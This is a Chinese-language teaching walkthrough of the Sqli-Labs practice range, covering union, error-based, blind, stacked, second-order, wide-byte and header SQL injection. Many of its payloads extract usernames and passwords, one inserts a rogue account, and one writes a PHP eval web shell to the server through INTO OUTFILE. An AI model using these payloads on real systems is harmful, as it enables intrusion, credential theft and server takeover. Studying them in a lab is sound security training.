Sqli-Labs 靶场通关全面教学与SQL注入技术详解
文档说明
本文档旨在系统性地总结Sqli-Labs靶场的解题思路,并深入讲解其中涉及的SQL注入技术。内容涵盖从基础的联合查询注入到高级的报错、布尔盲注、时间盲注、堆叠注入、二次注入及各种绕过技巧,是学习SQL注入的综合性教材。
第一章:SQL注入基础与闭合判断
在进行任何注入之前,第一步也是最重要的一步是判断注入点的类型和闭合方式。错误的闭合方式会导致注入语句无法正确执行。
1.1 闭合方式判断流程
这是一个标准化的判断流程,适用于绝大多数场景:
-
初步探测:
- 输入
?id=1' - 输入
?id=1" - 观察页面返回是否出现数据库错误信息。
- 输入
-
情况分析与验证:
-
情况一:单引号和双引号都报错
- 推测为整数型注入。验证:
?id=1--+(注释掉后续内容),页面正常显示则确认。 - 如果报错,尝试整数型加括号:
?id=1)--+。
- 推测为整数型注入。验证:
-
情况二:仅单引号报错
- 推测为单引号字符型注入。验证:
?id=1'--+,页面正常则确认。 - 如果报错,尝试单引号加括号:
?id=1')--+。
- 推测为单引号字符型注入。验证:
-
情况三:仅双引号报错
- 推测为双引号字符型注入。验证:
?id=1"--+,页面正常则确认。 - 如果报错,尝试双引号加括号:
?id=1")--+。
- 推测为双引号字符型注入。验证:
注释:
--+或#用于注释掉原始SQL语句中注入点后的部分,+在URL中通常代表空格。 -
第二章:联合查询注入 (Union Select)
适用场景:页面有显位,即能够将数据库查询结果回显到页面上。
核心步骤:判断字段数 -> 寻找显位 -> 获取数据
2.1 基本步骤 (以Less-1为例)
- 判断闭合方式:
?id=1'报错,?id=1'--+正常,确定为单引号字符型注入。 - 判断字段数:使用
ORDER BY子句。?id=1' ORDER BY 1--+(正常)?id=1' ORDER BY 2--+(正常)?id=1' ORDER BY 3--+(正常)?id=1' ORDER BY 4--+(报错) => 字段数为 3。
- 寻找显位:使用
UNION SELECT联合查询,并使原始查询不返回结果(如id=-1)。?id=-1' UNION SELECT 1,2,3--+- 页面显示
2和3,说明第2和第3个字段是显位。
- 获取信息:利用显位替换为想要查询的函数或语句。
- 数据库版本和库名:
?id=-1' UNION SELECT 1, database(), version()--+ - 获取所有表名:
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+information_schema是信息数据库,存有元数据。group_concat()将多行结果合并成一个字符串。
- 获取表的列名(以
users表为例):?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+ - 提取数据(获取
username和password):?id=-1' UNION SELECT 1,2,group_concat(username, ':', password) FROM users--+
- 数据库版本和库名:
2.2 其他闭合方式的例子
- Less-2 (整数型):
?id=-1 UNION SELECT 1,2,3--+ - Less-3 (单引号+括号):
?id=-1') UNION SELECT 1,2,3--+ - Less-4 (双引号+括号):
?id=-1") UNION SELECT 1,2,3--+
第三章:报错注入 (Error-Based)
适用场景:页面没有显位,但会输出数据库的错误信息。
核心原理:故意构造错误的SQL语句,让数据库将查询结果包含在错误信息中输出。
3.1 常用函数:updatexml()
- 函数原型:
updatexml(XML_document, XPath_string, new_value) - 利用原理:如果
XPath_string不符合XPath格式,数据库会报错,并将XPath_string的内容显示在错误信息中。我们利用此特性来执行查询。 - 语法构造:
and updatexml(1, concat(0x7e, (YOUR_SQL_QUERY), 0x7e), 1)0x7e是波浪号~的十六进制,用于凸显查询结果。concat()用于连接字符串。
3.2 实战步骤 (以Less-5为例)
- 判断闭合:为单引号字符型。
- 获取数据库名:
?id=1' and updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --+ - 获取表名:
?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'), 0x7e), 1) --+ - 获取列名:
?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users'), 0x7e), 1) --+ - 提取数据:
?id=1' and updatexml(1, concat(0x7e, (SELECT group_concat(username, ':', password) FROM users), 0x7e), 1) --+
注意:updatexml() 最多显示32位数据。如果结果很长,需要使用 substr() 或 limit 分次提取。例如:substr((SELECT query), 1, 30)。
第四章:布尔盲注 (Boolean-Based Blind)
适用场景:页面无显位,无详细错误信息,但会根据SQL查询结果真假返回不同的页面(如存在/不存在)。
核心原理:通过构造SQL语句,根据页面返回结果的差异(True or False),一位一位地猜解数据。
4.1 常用函数与技术
length():判断长度。?id=1' and length((select database()))=8 --+(猜解数据库名长度)
substr()/mid():截取字符。ascii():将字符转为ASCII码,便于比较。?id=1' and ascii(substr((select database()),1,1))=115 --+(115是 's' 的ASCII码,猜解数据库名第一个字符)
4.2 实战步骤 (以Less-8为例)
- 判断数据库长度:
?id=1' and length((select database()))>=8 --+通过返回状态判断真假。 - 逐位猜解数据库名:
?id=1' and ascii(substr((select database()),1,1))=115 --+(判断第一个字符是否为 's')
?id=1' and ascii(substr((select database()),2,1))=101 --+(判断第二个字符是否为 'e'),以此类推。 - 猜解表名、列名、数据:逻辑相同,只需替换SQL查询语句。
- 猜表名:
ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100 --+ - 猜数据:
ascii(substr((select group_concat(username,password) from users),1,1))=68 --+
- 猜表名:
这个过程通常需要配合脚本(如Python)自动化完成。
第五章:时间盲注 (Time-Based Blind)
适用场景:页面无任何回显差异,无论真假都返回相同页面。
核心原理:通过SQL语句的延时效应来判断查询的真假。如果条件为真,则执行延时函数,使页面响应变慢。
5.1 常用函数:sleep() 和 if()
if(condition, true_result, false_result):条件判断。sleep(seconds):延时指定秒数。
5.2 实战步骤 (以Less-9为例)
- 判断是否存在时间注入:
?id=1' and if(1=1, sleep(5), 1)--+(如果页面响应延迟约5秒,说明注入成功) - 结合布尔盲注逻辑进行猜解:
- 判断数据库名长度:
?id=1' and if(length((select database()))>9, sleep(5), 1)--+ - 逐位猜解数据库名:
?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(5), 1)--+
- 判断数据库名长度:
第六章:POST型注入
适用场景:注入点出现在POST请求的表单中(如登录框)。
方法:与GET型注入原理完全相同,只是提交数据的方式不同。可以使用浏览器插件(如HackBar)或抓包工具(如Burp Suite)直接修改POST数据。
- Less-11:闭合方式为
username=1'&password=...- Payload:
username=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'#
- Payload:
第七章:高级技巧与绕过
7.1 宽字节注入 (Less-32, 34)
场景:网站使用 addslashes() 或 mysql_real_escape_string() 等函数对单引号等特殊字符进行转义(如 ' 变成 \')。
原理:利用GBK、BIG5等宽字符集的特性,使转义符号 \(%5c)与前面的字符(如 %df)组合成一个汉字,从而“吃掉”转义符,让单引号逃逸。
Payload:?id=%df' UNION SELECT 1,2,3--+
%df%5c在GBK编码中构成一个汉字“運”,从而使后面的'生效。
7.2 堆叠注入 (Stacked Queries) (Less-38)
场景:数据库支持多语句查询(如PHP中的 mysqli_multi_query())。
原理:用分号 ; 分隔,执行多条SQL语句。威力巨大,可以增删改查。
Payload:?id=1'; INSERT INTO users(id, username, password) VALUES (666, 'hacker', 'password')--+
7.3 二次注入 (Less-24)
场景:数据在存入数据库时被转义,但从数据库取出后被直接使用。
原理:
- 注册一个特殊用户,用户名为
admin'--。 - 在存入数据库时,转义函数可能将其存为
admin\'--,但数据库实际存储时可能还是admin'--(取决于配置)。 - 后续功能(如修改密码)从数据库取出用户名
admin'--并拼接到SQL语句中:UPDATE users SET password='new_pass' WHERE username='admin'-- ' AND ...。 - 此时
--注释掉了后面的条件,导致直接修改了admin用户的密码。
7.4 绕过过滤
- 双写绕过 (Less-25):当关键字被过滤时,用双写绕过。例如
UNION被过滤,尝试UUNIONNION,过滤后变成UNION。 - 注释符绕过 (Less-26):过滤了空格和注释符,可以使用括号、反引号、换行符(
%a0)等代替空格。?id=1'%a0union%a0select%a01,2,3%a0||%a0'1
第八章:其他特殊注入点
8.1 Cookie注入 (Less-20)
注入点存在于Cookie中,使用工具修改Cookie值进行注入,方法与GET/POST注入类似。
8.2 User-Agent / Referer 注入 (Less-18, 19)
注入点存在于HTTP头部的 User-Agent 或 Referer 字段中,需要通过抓包修改这些字段进行注入。
8.3 文件写入 (Less-7)
利用 SELECT ... INTO OUTFILE 将查询结果或Webshell写入服务器。
前提:需要知道绝对路径,且数据库用户有FILE权限。
Payload:?id=1')) UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE "/var/www/html/shell.php"--+
总结
SQL注入是一门层次分明的技术,学习路径建议如下:
- 基础:掌握联合查询注入,理解信息schema数据库。
- 进阶:掌握报错、布尔、时间盲注,理解各种函数的用法。
- 高级:理解各种过滤和绕过技巧,如宽字节、堆叠、二次注入等。
- 拓展:认识注入点不只在ID参数,还可能在Cookie、HTTP头等任何与数据库交互的地方。
最重要的原则:先判断闭合,再选择注入方法。本教学文档覆盖了Sqli-Labs靶场的核心知识点,熟练掌握后将对SQL注入有全面而深刻的理解。
免责声明:本文所有技术内容仅用于教育学习和合法安全测试,严禁用于任何非法攻击行为。使用者需遵守《中华人民共和国网络安全法》,对自身行为承担全部法律责任。